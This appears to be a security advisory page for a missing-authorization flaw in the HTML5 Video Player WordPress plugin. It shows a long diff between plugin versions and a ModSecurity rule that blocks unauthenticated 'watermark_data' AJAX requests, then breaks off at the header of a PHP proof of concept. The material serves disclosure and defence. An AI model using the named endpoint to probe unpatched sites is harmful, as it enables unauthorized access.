-		));
+		wp_register_script('bplugins-plyrio', plugin_dir_url(__FILE__) . 'public/js/plyr-v3.8.4.polyfilled.js', array('jquery'), '3.8.3', false);

-		// wp_enqueue_script('html5-player-video-view-script');
-		// wp_enqueue_style('html5-player-video-style');
+		wp_register_style('bplugins-plyrio', plugin_dir_url(__FILE__) . 'public/css/h5vp.css', array(), H5VP_VER, 'all');

 	}

-	/**
-	 * Init Widgets
-	 *
-	 * Include widgets files and register them
-	 *
-	 * @since 1.0.0
-	 *
-	 * @access public
-	 */
 	public function init_widgets()
 	{
-		// Include Widget files
-		$widget = 'VideoPlayer';
-
-		if (h5vp_fs()->can_use_premium_code()) {
-			$widget = $widget . 'Pro';
-		}
-		if (file_exists(__DIR__ . "/inc/Elementor/$widget.php")) {
-			require_once(__DIR__ . "/inc/Elementor/$widget.php");
+		if (file_exists(__DIR__ . '/inc/Elementor/VideoPlayer.php')) {
+			require_once(__DIR__ . '/inc/Elementor/VideoPlayer.php');
 		}

-		$class = "H5VPElementor\" . $widget;
-
-		// Register widget
-		ElementorPlugin::instance()->widgets_manager->register(new $class());
+		ElementorPlugin::instance()->widgets_manager->register(new VideoPlayer());
 	}
 }

--- a/html5-video-player/html5-video-player.php
+++ b/html5-video-player/html5-video-player.php
@@ -1,109 +1,105 @@
 <?php
-
 /*
- * Plugin Name: Html5 Video Player
+ * Plugin Name: HTML5 Video Player – Embed and Play Videos in Custom Player
  * Description: You can easily integrate html5 Video player in your WordPress website using this plugin.
- * Plugin URI:  https://bplugins.com/html5-video-player-pro/
- * Version:     2.11.0
+ * Plugin URI:  https://bplugins.com/html5-video-player/
+ * Version:     2.11.1
  * Author:      bPlugins
  * Author URI:  http://bplugins.com
- * Requires at least: 5.8
+ * Requires at least: 6.5
  * Requires PHP: 7.4
- * Text Domain: h5vp
+ * Text Domain: html5-video-player
  * License:           GPL v2 or later
- * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
- *
+ * License URI:       https://www.gnu.org/licenses/gpl-2.0.html
  */
-if ( !defined( 'ABSPATH' ) ) {
-    exit;
-    // Exit if accessed directly.
+
+if (!defined('ABSPATH')) {
+    exit; // Exit if accessed directly.
 }
-if ( function_exists( 'h5vp_fs' ) ) {
-    h5vp_fs()->set_basename( false, __FILE__ );
+
+if (function_exists('h5vp_fs')) {
+    h5vp_fs()->set_basename(false, __FILE__);
 } else {
-    if ( file_exists( dirname( __FILE__ ) . '/vendor/autoload.php' ) ) {
-        require_once dirname( __FILE__ ) . '/vendor/autoload.php';
+
+    if (file_exists(dirname(__FILE__) . '/vendor/autoload.php')) {
+        require_once(dirname(__FILE__) . '/vendor/autoload.php');
     }
-    if ( file_exists( dirname( __FILE__ ) . '/inc/admin.php' ) ) {
-        require_once dirname( __FILE__ ) . '/inc/admin.php';
+    if (file_exists(dirname(__FILE__) . '/inc/admin.php')) {
+        require_once(dirname(__FILE__) . '/inc/admin.php');
     }
+
     /*Some Set-up*/
-    define( 'H5VP_PRO_PLUGIN_DIR', plugin_dir_url( __FILE__ ) );
-    define( 'H5VP_PRO_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
-    define( 'H5VP_PRO_PLUGIN_FILE_BASENAME', plugin_basename( __FILE__ ) );
-    define( 'H5VP_PRO_PLUGIN_DIR_BASENAME', plugin_basename( __DIR__ ) );
-    define( 'H5VP_PRO_VER', ( isset( $_SERVER['HTTP_HOST'] ) && $_SERVER['HTTP_HOST'] === 'dev.local' ? time() : '2.11.0' ) );
+    define('H5VP_PLUGIN_DIR', plugin_dir_url(__FILE__));
+    define('H5VP_PLUGIN_PATH', plugin_dir_path(__FILE__));
+    define('H5VP_PLUGIN_FILE_BASENAME', plugin_basename(__FILE__));
+    define('H5VP_PLUGIN_DIR_BASENAME', plugin_basename(__DIR__));
+    define('H5VP_VER', defined('WP_DEBUG') && WP_DEBUG === true ? time() : '2.11.1');
+
     // Create a helper function for easy SDK access.
-    function h5vp_fs() {
+    function h5vp_fs()
+    {
         global $h5vp_fs;
-        if ( !isset( $h5vp_fs ) ) {
-            // Include Freemius SDK.
-            $h5vp_fs = fs_dynamic_init( array(
-                'id'               => '14259',
-                'slug'             => 'html5-video-player',
-                'premium_slug'     => 'html5-video-player-pro',
-                'type'             => 'plugin',
-                'public_key'       => 'pk_42a72d9cdea87e78854f59cdc1293',
-                'is_premium'       => false,
-                'premium_suffix'   => 'Pro',
-                'has_addons'       => false,
-                'has_paid_plans'   => true,
-                'trial'            => array(
-                    'days'               => 7,
-                    'is_require_payment' => true,
-                ),
-                'has_affiliation'  => 'selected',
-                'menu'             => array(
-                    'slug'        => 'edit.php?post_type=videoplayer',
-                    'support'     => false,
+
+        if (!isset($h5vp_fs)) {
+            $h5vp_fs = fs_dynamic_init(array(
+                'id' => '14259',
+                'slug' => 'html5-video-player',
+                'type' => 'plugin',
+                'public_key' => 'pk_42a72d9cdea87e78854f59cdc1293',
+                'is_premium' => false,
+                'menu' => array(
+                    'slug' => 'edit.php?post_type=videoplayer',
+                    'support' => false,
                     'affiliation' => false,
-                    'contact'     => false,
-                    'first-path'  => 'admin.php?page=choose-preferred-editor',
+                    'contact' => false,
+                    'first-path' => 'edit.php?post_type=videoplayer&page=html5-video-player',
                 ),
-                'is_live'          => true,
-                'is_org_compliant' => true,
-            ) );
+            ));
         }
+
         return $h5vp_fs;
     }

     h5vp_fs();
-    do_action( 'h5vp_fs_loaded' );
-    require_once __DIR__ . '/includes.php';
-    add_action( 'plugins_loaded', function () {
-        if ( class_exists( 'H5VP\Init' ) ) {
+    do_action('h5vp_fs_loaded');
+
+    require_once(__DIR__ . '/includes.php');
+
+    /*-------------------------------------------------------------------------------*/
+    /* Load Text Domain
+    /*-------------------------------------------------------------------------------*/
+    add_action('init', function () {
+        $domain = 'html5-video-player';
+        $rel_path = dirname(H5VP_PLUGIN_FILE_BASENAME) . '/languages';
+
+        // Load the current text domain first.
+        if (load_plugin_textdomain($domain, false, $rel_path)) {
+            return;
+        }
+
+        // Fall back to legacy "h5vp" .mo files, loaded into the current domain.
+        $locale = apply_filters('plugin_locale', determine_locale(), $domain);
+        $legacy = 'h5vp-' . $locale . '.mo';
+
+        load_textdomain($domain, WP_LANG_DIR . '/plugins/' . $legacy, $locale)
+            || load_textdomain($domain, H5VP_PLUGIN_PATH . 'languages/' . $legacy, $locale);
+    });
+
+    add_action('plugins_loaded', function () {
+        if (class_exists('H5VP\Init')) {
+            H5VPInit::register_services();
             H5VPInit::register_post_type();
         }
-    } );
-    if ( class_exists( 'H5VP\Init' ) ) {
-        H5VPInit::register_services();
-    }
-    // add_action('init', function () {
-    // });
+    });
+
+    // Install the custom DB table at activation, and run schema upgrades on
+    // admin_init after a plugin update — instead of checking the schema
+    // version on every front-end request.
+    register_activation_hook(__FILE__, ['H5VP\Database\Init', 'install']);
+    add_action('admin_init', ['H5VP\Database\Init', 'maybe_upgrade']);
+
     /*-------------------------------------------------------------------------------*/
     /* TinyMce
-       /*-------------------------------------------------------------------------------*/
+    /*-------------------------------------------------------------------------------*/
     require_once 'tinymce/h5vp-tinymce.php';
-    // Latest Code
-    if ( !class_exists( 'H5VP_Main' ) ) {
-        class H5VP_Main {
-            public $baseName = null;
-
-            function __construct() {
-                $this->baseName = plugin_basename( __FILE__ );
-                add_action( 'wp_ajax_nopriv_pipe_handler', [$this, 'pipe_handler'] );
-                add_action( 'wp_ajax_pipe_handler', [$this, 'pipe_handler'] );
-            }
-
-            function pipe_handler() {
-                if ( !wp_verify_nonce( sanitize_text_field( wp_unslash( $_POST['nonce'] ?? '' ) ), 'wp_ajax' ) ) {
-                    wp_send_json_success( false );
-                }
-                wp_send_json_success( h5vp_fs()->can_use_premium_code() );
-            }
-
-        }
-
-        new H5VP_Main();
-    }
-}
 No newline at end of file
+}
--- a/html5-video-player/inc/Base/AWS.php
+++ b/html5-video-player/inc/Base/AWS.php
@@ -1,132 +0,0 @@
-<?php
-
-namespace H5VPBase;
-
-if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
-
-class AWS
-{
-    private $secrets;
-    public function __construct()
-    {
-        $this->secrets = $this->get_secrets();
-        add_action('wp_ajax_h5vp_aws_picker', [$this, 'h5vp_aws_picker']);
-    }
-
-    public function get_aws_s3_url($url)
-    {
-        $aws = $this->parseS3Url($url);
-        if (!$aws) {
-            return $url;
-        }
-        $secrets = $this->get_secrets();
-        if ($secrets && class_exists('AwsS3S3Client')) {
-
-            $s3Client = new AwsS3S3Client([
-                'version' => 'latest',
-                'region' => $secrets['region'],
-                'credentials' => [
-                    'key'    => $secrets['key'],
-                    'secret' => $secrets['secret'],
-                ]
-            ]);
-
-            try {
-                // Generate a pre-signed URL
-                $cmd = $s3Client->getCommand('GetObject', [
-                    'Bucket' => $secrets['bucket'],
-                    'Key' => $aws['file_location'],
-                ]);
-                return $s3Client->createPresignedRequest($cmd, '+60 minutes')->getUri()->__toString();
-            } catch (Exception $e) {
-                return null;
-            }
-        }
-        return $url;
-    }
-
-    public function parseS3Url($s3Url)
-    {
-        // Parse the URL using parse_url
-        $urlParts = wp_parse_url($s3Url);
-
-        // Check if it's an S3 URL
-        if ($urlParts && isset($urlParts['host']) && preg_match('/.amazonaws.com$/', $urlParts['host'])) {
-            // Extract bucket, server, file location, and region
-            $hostParts = explode('.', $urlParts['host']);
-            $bucket = $hostParts[0];
-            $server = $urlParts['host'];
-            $fileLocation = ltrim($urlParts['path'], '/');
-            $region = $hostParts[2]; // Assuming the region is the third part of the host
-
-            return [
-                'bucket' => trim($bucket),
-                'server' => trim($server),
-                'file_location' => trim($fileLocation),
-                'region' => trim($region),
-            ];
-        } else {
-            // Not a valid S3 URL
-            return null;
-        }
-    }
-
-    public function get_secrets()
-    {
-        $options = get_option('h5vp_option', []);
-        if (isset($options['h5vp_aws_key_id']) && $options['h5vp_aws_access_key']) {
-            return [
-                'bucket' => $options['h5vp_aws_bucket'] ?? '',
-                'region' => $options['h5vp_aws_region'] ?? '',
-                'key' => $options['h5vp_aws_key_id'],
-                'secret' => $options['h5vp_aws_access_key'],
-            ];
-        }
-        return null;
-    }
-
-    // get s3 list objects
-    public function get_s3_list_objects()
-    {
-        $secrets = $this->get_secrets();
-        if ($secrets && class_exists('AwsS3S3Client')) {
-            try {
-                $s3Client = new AwsS3S3Client([
-                    'version' => 'latest',
-                    'region' => $secrets['region'],
-                    'credentials' => [
-                        'key'    => $secrets['key'],
-                        'secret' => $secrets['secret'],
-                    ]
-                ]);
-                $list = $s3Client->listObjectsV2([
-                    'Bucket' => $secrets['bucket'],
-                ]);
-
-                return $this->format_list_objects($list);
-            } catch (Throwable $th) {
-                return $th->getMessage();
-            }
-        }
-        return 'AWS S3 Client not found';
-    }
-
-    public function format_list_objects($list)
-    {
-        $formatted = [];
-        foreach ($list['Contents'] as $item) {
-            $formatted[] = $item['Key'];
-        }
-
-        return ['bucketName' => $list['Name'], 'region' => $this->secrets['region'], 'lists' => $formatted];
-    }
-
-    //Clicked AWS File Picker (ajax call)
-    function h5vp_aws_picker()
-    {
-        if (!current_user_can('manage_options')) {
-            wp_send_json_error('You are not authorized to upload files');
-        }
-        wp_send_json_success($this->get_s3_list_objects());
-    }
-}
--- a/html5-video-player/inc/Base/AdminNotice.php
+++ b/html5-video-player/inc/Base/AdminNotice.php
@@ -0,0 +1,100 @@
+<?php
+
+namespace H5VPBase;
+
+if (!defined('ABSPATH'))
+    exit; // Exit if accessed directly
+
+/**
+ * Dismissible admin notice announcing that the legacy [video] shortcode has
+ * been removed and replaced by [html5_video].
+ *
+ * The dismissal is stored per user, so once an editor closes the notice it
+ * stays closed for them on every screen.
+ */
+class AdminNotice
+{
+    /** User meta key that records the dismissal for the current user. */
+    const DISMISS_META_KEY = 'h5vp_dismissed_video_shortcode_notice';
+
+    /** AJAX action used to persist the dismissal. */
+    const DISMISS_ACTION = 'h5vp_dismiss_video_shortcode_notice';
+
+    public function register()
+    {
+        add_action('admin_notices', [$this, 'render']);
+        add_action('wp_ajax_' . self::DISMISS_ACTION, [$this, 'dismiss']);
+    }
+
+    /**
+     * Output the notice on admin screens for users who can author content.
+     */
+    public function render()
+    {
+        if (!current_user_can('edit_posts')) {
+            return;
+        }
+
+        if (get_user_meta(get_current_user_id(), self::DISMISS_META_KEY, true)) {
+            return;
+        }
+
+        $message = sprintf(
+            /* translators: 1: removed shortcode, 2: replacement shortcode. */
+            __('HTML5 Video Player: the %1$s shortcode has been removed. Please use %2$s instead.', 'html5-video-player'),
+            '<code>[video]</code>',
+            '<code>[html5_video]</code>'
+        );
+
+        printf(
+            '<div class="notice notice-warning is-dismissible" data-h5vp-notice="%1$s" data-h5vp-nonce="%2$s"><p>%3$s</p></div>',
+            esc_attr(self::DISMISS_ACTION),
+            esc_attr(wp_create_nonce(self::DISMISS_ACTION)),
+            wp_kses($message, ['code' => []])
+        );
+
+        $this->print_dismiss_script();
+    }
+
+    /**
+     * Persist the dismissal when the user clicks the notice's close button.
+     */
+    public function dismiss()
+    {
+        check_ajax_referer(self::DISMISS_ACTION, 'nonce');
+
+        if (!current_user_can('edit_posts')) {
+            wp_send_json_error(null, 403);
+        }
+
+        update_user_meta(get_current_user_id(), self::DISMISS_META_KEY, 1);
+        wp_send_json_success();
+    }
+
+    /**
+     * Inline script that catches the core "X" dismiss click and reports it
+     * back so the notice does not return on the next page load.
+     */
+    private function print_dismiss_script()
+    {
+        ?>
+        <script>
+            (function () {
+                var notice = document.querySelector('[data-h5vp-notice]');
+                if (!notice) {
+                    return;
+                }
+                notice.addEventListener('click', function (event) {
+                    if (!event.target.closest('.notice-dismiss')) {
+                        return;
+                    }
+                    var data = new FormData();
+                    data.append('action', notice.getAttribute('data-h5vp-notice'));
+                    data.append('nonce', notice.getAttribute('data-h5vp-nonce'));
+                    fetch(window.ajaxurl, { method: 'POST', body: data, credentials: 'same-origin', keepalive: true });
+                });
+            })();
+        </script>
+        <?php
+    }
+}
--- a/html5-video-player/inc/Base/Analytics.php
+++ b/html5-video-player/inc/Base/Analytics.php
@@ -1,35 +0,0 @@
-<?php
-
-namespace H5VPBase;
-
-if (!defined('ABSPATH'))
-    exit; // Exit if accessed directly
-
-use H5VPModelView as View;
-use H5VPModelVideo as Video;
-
-class Analytics
-{
-    public function register()
-    {
-        if (!is_admin()) {
-            return;
-        }
-        $settings = get_option('h5vp_option');
-        if (h5vp_fs()->can_use_premium_code() && (!isset($settings['enable_analytics']) || (isset($settings['enable_analytics']) && $settings['enable_analytics'] != '0'))) {
-            add_action('admin_menu', [$this, 'admin_menu'], 15);
-        }
-    }
-
-    public function admin_menu()
-    {
-        add_submenu_page('edit.php?post_type=videoplayer', 'Analytics', 'Analytics', 'manage_options', 'analytics', [$this, 'analyticsMain'], 100);
-    }
-
-    public function analyticsMain()
-    {
-        ?>
-        <div id="h5vp-analytics-dashboard"></div>
-        <?php
-    }
-}
--- a/html5-video-player/inc/Base/ExtendMime.php
+++ b/html5-video-player/inc/Base/ExtendMime.php
@@ -1,51 +0,0 @@
-<?php
-namespace H5VPBase;
-
-if (!defined('ABSPATH')) {
-    exit;
-} // Exit if accessed directly
-
-class ExtendMime {
-
-    public function register(){
-        global $wp_version;
-        add_filter( 'upload_mimes', [$this, 'upload_mimes'] );
-
-        if ( version_compare( $wp_version, '5.1') >= 0){
-            add_filter( 'wp_check_filetype_and_ext', [$this, 'check_filetype'],10,5);
-        }else {
-            add_filter( 'wp_check_filetype_and_ext', [$this, 'check_filetype'],10,4);
-        }
-    }
-
-    public function upload_mimes( $mimes ) {
-        $mimes['ts'] = 'video/mp2t';
-        $mimes['m3u8'] = 'application/x-mpegURL';
-        return $mimes;
-    }
-
-    public function check_filetype($data, $file, $filename,$mimes,$real_mime=null){
-        $f_sp = explode(".", $filename);
-        $f_exp_count  = count ($f_sp);
-
-        if($f_exp_count <= 1){
-            return $data;
-        }else{
-            $f_name = $f_sp[0];
-            $ext  = $f_sp[$f_exp_count - 1];
-        }
-
-        if($ext == 'ts'){
-            $type = 'video/mp2t';
-            $proper_filename = '';
-            return compact('ext', 'type', 'proper_filename');
-        }else if($ext == 'm3u8'){
-            $type = 'application/x-mpegURL';
-            $proper_filename = '';
-            return compact('ext', 'type', 'proper_filename');
-        }else {
-            return $data;
-        }
-    }
-
-}
 No newline at end of file
--- a/html5-video-player/inc/Base/GlobalChanges.php
+++ b/html5-video-player/inc/Base/GlobalChanges.php
@@ -12,53 +12,25 @@
     {
         if (is_admin()) {
             add_filter('post_row_actions', [$this, 'removeRowAction'], 10, 2);
-            add_action('admin_head-post.php', [$this, 'hideAction']);
-            add_action('admin_head-post-new.php', [$this, 'hideAction']);
             add_filter('gettext', [$this, 'changePublishText'], 10, 2);
             add_filter('post_updated_messages', [$this, 'changeUpdateMessage']);

-            add_action('admin_init', [$this, 'wpLoaded'], 1);
-
-            if (version_compare($GLOBALS['wp_version'], '5.8-alpha-1', '<')) {
-                add_filter('block_categories', [$this, 'wpdocs_add_new_block_category'], 10, 2);
-            } else {
-                add_filter('block_categories_all', [$this, 'wpdocs_add_new_block_category'], 10, 2);
-            }
+            add_filter('block_categories_all', [$this, 'wpdocs_add_new_block_category'], 10, 2);

             add_action('media_buttons', [$this, 'h5vp_shortcode_button'], 1);
         }
     }

-    public function wpLoaded()
-    {
-        add_filter('admin_footer_text', [$this, 'footerText']);
-    }
-
     public function removeRowAction($row)
     {
         global $post;
-        if ($post->post_type == 'videoplayer' or $post->post_type == 'videoplayer_quick') {
+        if ($post->post_type == 'videoplayer' || $post->post_type == 'videoplayer_quick') {
             unset($row['view']);
             unset($row['inline hide-if-no-js']);
         }
         return $row;
     }

-    public function hideAction()
-    {
-        global $post;
-        if ($post->post_type == 'videoplayer' || $post->post_type == 'h5vpplaylist') {
-            echo '
-                <style type="text/css">
-                    #misc-publishing-actions,
-                    #minor-publishing-actions{
-                        display:none;
-                    }
-                </style>
-                ';
-        }
-    }
-
     public function changePublishText($translation, $text)
     {
         if ('videoplayer' == get_post_type()) {
@@ -71,25 +43,10 @@

     public function changeUpdateMessage($messages)
     {
-        $messages['videoplayer'][1] = __('Updated ', 'h5vp');
+        $messages['videoplayer'][1] = __('Updated ', 'html5-video-player');
         return $messages;
     }

-    public function footerText($text)
-    {
-        $screen = get_current_screen();
-        $page = '';
-        if (isset($screen->base)) {
-            $page = $screen->base;
-        }
-        if ('videoplayer' == get_post_type() || 'h5vpplaylist' == get_post_type() || $page == 'videoplayer_page_html5vp_quick_player') {
-            $url = 'https://wordpress.org/support/plugin/html5-video-player/reviews/?filter=5#new-post';
-            /* translators: 1: number of messages */
-            $text = sprintf(__(' If you like <strong>Html5 Video Player</strong> please leave us a <a href="%s" target="_blank">★★★★★</a> rating. Your Review is very important to us as it helps us to grow more. ', 'h5vp'), $url);
-        }
-        return $text;
-    }
-

     /**
      * Adding a new (custom) block category.
@@ -111,7 +68,7 @@
                 [
                     [
                         'slug' => 'media',
-                        'title' => esc_html__('Media', 'h5vp'),
+                        'title' => esc_html__('Media', 'html5-video-player'),
                         'icon' => '', // Slug of a WordPress Dashicon or custom SVG
                     ],
                 ]
@@ -125,13 +82,13 @@

     function h5vp_shortcode_button()
     {
-        $img = H5VP_PRO_PLUGIN_DIR . 'img/icn.png';
-        $title = 'Insert Html5 Video Player';
-        $context = '
-		<a class="thickbox button" id="h5vp_shortcode_button" title="' . $title . '" style="outline: medium none !important; cursor: pointer;" >
-		<img src="' . $img . '" alt="" width="20" height="20" style="position:relative; top:-1px"/>Html5 video player</a>
-		<a class="thickbox button" id="h5vp_add_video_button" title="' . $title . '" style="outline: medium none !important; cursor: pointer;" >
-		<img src="' . $img . '" alt="" width="20" height="20" style="position:relative; top:-1px"/>Add Video</a>';
+        $img = H5VP_PLUGIN_DIR . 'img/icn.png';
+        $context = sprintf(
+            '<a class="thickbox button" id="h5vp_shortcode_button" title="%s"><img src="%s" alt="" width="20" height="20"> %s</a>',
+            esc_attr__('Insert Html5 Video Player', 'html5-video-player'),
+            esc_url($img),
+            esc_html__('Html5 video player', 'html5-video-player')
+        );
         echo wp_kses_post($context);
     }
 }
--- a/html5-video-player/inc/Base/Menu.php
+++ b/html5-video-player/inc/Base/Menu.php
@@ -1,56 +0,0 @@
-<?php
-
-namespace H5VPBase;
-
-if ( ! defined( 'ABSPATH' ) ) exit; // Exit if accessed directly
-
-class Menu
-{
-
-    public function register()
-    {
-        add_action('admin_menu', array($this, 'register_menu'));
-        add_action('admin_enqueue_scripts', array($this, 'enqueue_scripts'));
-        add_action('admin_head', [$this, 'admin_head']);
-    }
-
-    public function register_menu()
-    {
-        add_submenu_page('hide', 'Choose Preferred Editor', 'Choose Preferred Editor', 'manage_options', 'choose-preferred-editor', array($this, 'choose_preferred_editor'));
-    }
-
-    public function enqueue_scripts($hook)
-    {
-        if ($hook === 'admin_page_choose-preferred-editor') {
-            wp_enqueue_script('h5vp-choose-preferred-editor', H5VP_PRO_PLUGIN_DIR . 'build/choose-preferred-editor/index.js', array('react', 'react-dom', 'wp-util'), H5VP_PRO_VER, true);
-            wp_enqueue_script('h5vp-tailwind', 'https://cdn.jsdelivr.net/npm/@tailwindcss/browser@4', array(), H5VP_PRO_VER, true);
-            wp_enqueue_style('h5vp-choose-preferred-editor', H5VP_PRO_PLUGIN_DIR . 'build/choose-preferred-editor/index.css', array(), H5VP_PRO_VER, 'all');
-
-            wp_localize_script('h5vp-choose-preferred-editor', 'h5vp_choose_preferred_editor', [
-                'nonce' => wp_create_nonce('h5vp_security_key'),
-            ]);
-        }
-    }
-
-    public function choose_preferred_editor()
-    {
-?>
-        <div class="" id="h5vp-choose-preferred-editor"></div>
-<?php
-    }
-
-    public function admin_head()
-    {
-        ?>
-        <style>
-            .fs-submenu-item.html5-video-player.pricing.upgrade-mode {
-                background: #146ef5;
-                border-radius: 3px;
-                color: #fff;
-                display: inline-block;
-                padding: 9px 20px 9px 18px;
-            }
-        </style>
-    <?php
-    }
-}
--- a/html5-video-player/inc/Base/Notice.php
+++ b/html5-video-player/inc/Base/Notice.php
@@ -1,69 +0,0 @@
-<?php
-
-namespace H5VPBase;
-
-if (!defined('ABSPATH'))
-    exit; // Exit if accessed directly
-
-class Notice
-{
-    private static $_instance = null;
-
-    public function __construct()
-    {
-        add_action('admin_notices', [$this, 'upgrade_notice']);
-    }
-
-    public static function instance()
-    {
-        if (!self::$_instance) {
-            self::$_instance = new self();
-        }
-        return self::$_instance;
-    }
-
-
-    function upgrade_notice()
-    {
-        $page = get_current_screen();
-        $is_videos_page = $page->base == 'edit' && $page->post_type == 'videoplayer';
-        $is_settings_page = $page->base == 'videoplayer_page_html5vp_settings';
-        $is_quick_player_page = $page->base == 'videoplayer_page_html5vp_quick_player';
-
-        if (!h5vp_fs()->can_use_premium_code() && ($is_settings_page || $is_videos_page || $is_quick_player_page)) {
-            ?>
-            <style>
-
-            </style>
-            <div class="h5vp_upgrade_notice <?php echo esc_attr($is_videos_page ? 'pdfposters' : 'settings') ?> ">
-                <div class="flex">
-                    <svg height="30" viewBox="0 0 34 34" width="30" xmlns="http://www.w3.org/2000/svg">
-                        <path id="XMLID_1341_"
-                            d="m27.5 1h-21c-3.04 0-5.5 2.47-5.5 5.5v21c0 3.03 2.46 5.5 5.5 5.5h21c3.03 0 5.5-2.47 5.5-5.5v-21c0-3.03-2.47-5.5-5.5-5.5zm-14.5 3h1.5c.82 0 1.5.67 1.5 1.5s-.68 1.5-1.5 1.5h-1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5zm8.58 12.19c.26.19.42.49.42.81 0 .33-.16.63-.42.82l-7 5c-.18.12-.38.18-.58.18-.16 0-.32-.03-.46-.11-.33-.17-.54-.51-.54-.89v-10c0-.37.21-.71.54-.88s.73-.15 1.04.07zm-13.58 13.81h-1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5h1.5c.82 0 1.5.67 1.5 1.5s-.68 1.5-1.5 1.5zm0-23h-1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5h1.5c.82 0 1.5.67 1.5 1.5s-.68 1.5-1.5 1.5zm6.5 23h-1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5h1.5c.82 0 1.5.67 1.5 1.5s-.68 1.5-1.5 1.5zm6.5 0h-1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5h1.5c.82 0 1.5.67 1.5 1.5s-.68 1.5-1.5 1.5zm0-23h-1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5h1.5c.82 0 1.5.67 1.5 1.5s-.68 1.5-1.5 1.5zm6.5 23h-1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5h1.5c.82 0 1.5.67 1.5 1.5s-.68 1.5-1.5 1.5zm0-23h-1.5c-.83 0-1.5-.67-1.5-1.5s.67-1.5 1.5-1.5h1.5c.82 0 1.5.67 1.5 1.5s-.68 1.5-1.5 1.5z" />
-                    </svg>
-                    <h3>HTML5 Video Player</h3>
-                </div>
-                <p>No-Code Video Player Plugin – Trusted by 30,000+ Websites Worldwide.</p>
-                <div>
-                    <a href="<?php echo esc_url(admin_url('admin.php?page=html5-video-player#/pricing')) ?>"
-                        class="button button-primary" target="_blank">Upgrade To Pro <svg
-                            enable-background="new 0 0 515.283 515.283" height="16" viewBox="0 0 515.283 515.283" width="16"
-                            xmlns="http://www.w3.org/2000/svg">
-                            <g>
-                                <g>
-                                    <g>
-                                        <g>
-                                            <path
-                                                d="m372.149 515.283h-286.268c-22.941 0-44.507-8.934-60.727-25.155s-25.153-37.788-25.153-60.726v-286.268c0-22.94 8.934-44.506 25.154-60.726s37.786-25.154 60.727-25.154h114.507c15.811 0 28.627 12.816 28.627 28.627s-12.816 28.627-28.627 28.627h-114.508c-7.647 0-14.835 2.978-20.241 8.384s-8.385 12.595-8.385 20.242v286.268c0 7.647 2.978 14.835 8.385 20.243 5.406 5.405 12.594 8.384 20.241 8.384h286.267c7.647 0 14.835-2.978 20.242-8.386 5.406-5.406 8.384-12.595 8.384-20.242v-114.506c0-15.811 12.817-28.626 28.628-28.626s28.628 12.816 28.628 28.626v114.507c0 22.94-8.934 44.505-25.155 60.727-16.221 16.22-37.788 25.154-60.726 25.154zm-171.76-171.762c-7.327 0-14.653-2.794-20.242-8.384-11.179-11.179-11.179-29.306 0-40.485l237.397-237.398h-102.648c-15.811 0-28.626-12.816-28.626-28.627s12.815-28.627 28.626-28.627h171.761c3.959 0 7.73.804 11.16 2.257 3.201 1.354 6.207 3.316 8.837 5.887.001.001.001.001.002.002.019.019.038.037.056.056.005.005.012.011.017.016.014.014.03.029.044.044.01.01.019.019.029.029.011.011.023.023.032.032.02.02.042.041.062.062.02.02.042.042.062.062.011.01.023.023.031.032.011.01.019.019.029.029.016.015.03.029.044.045.005.004.012.011.016.016.019.019.038.038.056.057 0 .001.001.001.002.002 2.57 2.632 4.533 5.638 5.886 8.838 1.453 3.43 2.258 7.2 2.258 11.16v171.761c0 15.811-12.817 28.627-28.628 28.627s-28.626-12.816-28.626-28.627v-102.648l-237.4 237.399c-5.585 5.59-12.911 8.383-20.237 8.383z"
-                                                fill="rgba(255, 255, 255, 1)" />
-                                        </g>
-                                    </g>
-                                </g>
-                            </g>
-                        </svg></a>
-                </div>
-            </div>
-            <?php
-        }
-    }
-}
 No newline at end of file
--- a/html5-video-player/inc/Base/duplicate-player.php
+++ b/html5-video-player/inc/Base/duplicate-player.php
@@ -1,91 +0,0 @@
-<?php
-if (!defined('ABSPATH'))
-    exit; // Exit if accessed directly
-
-function h5vp_add_duplicate_button($actions, $post)
-{
-    if ($post->post_type == 'videoplayer') {
-        $post_type = get_post_type_object($post->post_type);
-        $label = sprintf('Duplicate %s', $post_type->labels->singular_name);
-        $nonce = wp_create_nonce('h5vp_duplicate_nonce');
-        $actions['duplicate_player'] = '<a class="h5vp_duplicate_player" security="' . $nonce . '" href="#" data-postid="' . $post->ID . '">' . $label . '</a>';
-    }
-    if ($post->post_type == 'h5vpplaylist') {
-        $post_type = get_post_type_object($post->post_type);
-        $label = sprintf('Duplicate %s', $post_type->labels->singular_name);
-        $nonce = wp_create_nonce('h5vp_duplicate_nonce');
-        $actions['duplicate_player'] = '<a class="h5vp_duplicate_player" security="' . $nonce . '" href="#" data-postid="' . $post->ID . '">' . $label . '</a>';
-    }
-    return $actions;
-}
-add_action('post_row_actions', 'h5vp_add_duplicate_button', 10, 2);
-
-/**
- * duplicate player
- */
-function h

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity

# Atomic Edge WAF Rule - CVE-2026-57323
# Blocks unauthenticated access to the watermark_data AJAX action in HTML5 Video Player plugin
# This rule targets the specific AJAX handler that misses authorization checks

SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261994,phase:2,deny,status:403,chain,msg:'CVE-2026-57323 - HTML5 Video Player watermark_data missing authorization via AJAX',severity:'CRITICAL',tag:'CVE-2026-57323',tag:'wordpress',tag:'missing-authorization'"
  SecRule ARGS_POST:action "@streq watermark_data" 
    "chain"
    SecRule REQUEST_HEADERS:Cookie "!@contains wordpress_logged_in_" 
      "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

PHP PoC

<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
